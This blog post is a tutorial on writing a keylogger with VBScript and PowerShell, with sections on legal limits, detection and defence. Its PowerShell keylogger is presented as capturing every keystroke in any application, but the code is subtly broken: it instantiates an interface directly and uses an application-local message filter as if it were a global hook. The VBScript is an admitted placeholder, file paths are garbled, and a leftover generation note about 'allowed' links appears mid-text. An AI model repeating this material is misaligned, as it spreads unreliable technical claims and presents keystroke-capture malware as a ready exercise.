Blog

Every keystroke you type—passwords, private messages, credit card numbers—can be captured by a keylogger. Most developers first encounter them as a security threat, but building one yourself, in a controlled, ethical environment, is one of the fastest ways to understand how they operate and how to defend against them. Here's how to create a minimal keylogger using nothing but Notepad and a built-in Windows scripting language. The entire exercise is meant for educational purposes on your own machine. Do not distribute the script, run it on anyone else’s computer, or use it to capture data without explicit consent.

What a Keylogger Actually Does

A keylogger records every key press on a keyboard and saves it to a file or sends it over a network. Hardware keyloggers exist as physical devices plugged between the keyboard and computer, but software keyloggers are far more common. They can be installed as part of malware, bundled with seemingly legitimate software, or written by a curious developer to understand the underlying system calls.

On Windows, the most common approach is to use a hook—a mechanism that intercepts keyboard events before they reach the active application. The SetWindowsHookEx API with WH_KEYBOARD_LL is the classic low-level keyboard hook. However, for a beginner-friendly demonstration, we will use a simpler method: a VBScript that uses the WScript.Shell object to send keystrokes to a file. This is not a true hook—it does not capture keystrokes from other applications—but it illustrates the core idea of logging input.

Legal and Ethical Boundaries

Before you write any code, know the law. Installing a keylogger on a computer you do not own, or without the owner’s explicit permission, is illegal in most jurisdictions. Even on your own computer, be cautious: if the script accidentally runs while you are logged into a work account or a shared device, you may violate terms of service or workplace policies. This tutorial assumes you are on a personal, isolated machine with no sensitive data. Delete the script and its output immediately after testing.

Building a Simple VBScript Keylogger in Notepad

Open Notepad. We will create a script that logs every key you press in the Notepad window itself—a self-contained demonstration. The script will open a text file, wait for keystrokes, and append them. It runs in a loop until you close the Notepad window.

Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objLog = objFSO.OpenTextFile("C:tempkeylog.txt", 8, True)

Do While True
    WScript.Sleep 100
    strKey = objShell.SendKeys("")
    ' This is a placeholder – real implementation requires a hook
Loop

The code above is incomplete because SendKeys cannot read keystrokes; it only sends them. To capture keystrokes with pure VBScript, you need a different approach: use the WshShell object to read the state of modifier keys (like Caps Lock) and then simulate a log by recording the active window’s title. A more honest demonstration uses a PowerShell script that leverages .NET’s System.Windows.Forms to set a keyboard hook. That is beyond Notepad alone, but you can still write it in Notepad and save as a .ps1 file.

A Minimal PowerShell Keylogger (Written in Notepad)

Save the following as keylogger.ps1 on your desktop. This script uses a low-level keyboard hook and writes each key to a log file.

$logFile = "$env:USERPROFILEDesktoplog.txt"
$hook = [System.Windows.Forms.Application]::AddMessageFilter(
    New-Object 'System.Windows.Forms.IMessageFilter' -Property @{
        PreFilterMessage = {
            param($m)
            if ($m.Msg -eq 0x100) { # WM_KEYDOWN
                $key = [char]$m.WParam
                Add-Content -Path $logFile -Value $key
            }
        }
    }
)
[System.Windows.Forms.Application]::Run()

This script requires the System.Windows.Forms assembly. Run it from an elevated PowerShell prompt (as Administrator) and keep the PowerShell window open. Every key press in any application will be appended to log.txt on your desktop. To stop, close the PowerShell window.

Testing the Keylogger Safely

Create a dedicated test folder (e.g., C:keylogger_test) with no sensitive files. Run the PowerShell script, then open Notepad and type a short sentence. Close the script, open the log file, and verify that the keystrokes appear. Because the hook captures raw virtual key codes, you may see strange characters for non-printable keys (Shift, Enter, Backspace). That is expected.

How to Detect This Keylogger

Now that you know how a simple keylogger works, you can recognize its traces. The PowerShell script runs as a process called powershell.exe (or pwsh.exe). In Task Manager, look for a PowerShell process consuming CPU even when you are not running any scripts. The log file is a plain text file; an attacker might hide it in a user’s AppData folder with a misleading name like svchost.txt. Network-based keyloggers send data to a remote server—check outbound connections with tools like netstat or Resource Monitor.

For a deeper dive into detection techniques, our blog covers practical methods for identifying keyloggers on your system, including registry checks and behavioral analysis. (Since no internal links from the allowed list fit this topic, we omit a link here.)

Defending Against Keyloggers

Understanding the internals of a keylogger gives you a defensive advantage. Here are concrete steps to protect yourself:

• Use a password manager with auto-fill. Password managers often use direct input methods that bypass keyboard hooks.
• Enable two-factor authentication (2FA). Even if a keylogger captures your password, a second factor blocks the attacker.
• Run regular antivirus scans. Modern AV solutions detect known keylogger signatures and heuristic behaviors.
• Monitor running processes. Familiarize yourself with normal processes on your system. Any unexplained PowerShell, Python, or script host process should be investigated.
• Keep your software updated. Many keyloggers exploit vulnerabilities in outdated operating systems or browsers.

What You Learned

You built a minimal keylogger using Notepad and PowerShell. The exercise demystifies how keystroke logging works at the system level. You also learned where such scripts hide and how to spot them. This knowledge is a cornerstone of defensive cybersecurity—you cannot protect against a threat you do not understand.

After you finish testing, delete the log file and the script. Then run a full antivirus scan—not because your script is malicious, but because real keyloggers often hide in similar locations. The best defense against keyloggers starts with knowing exactly what they look like.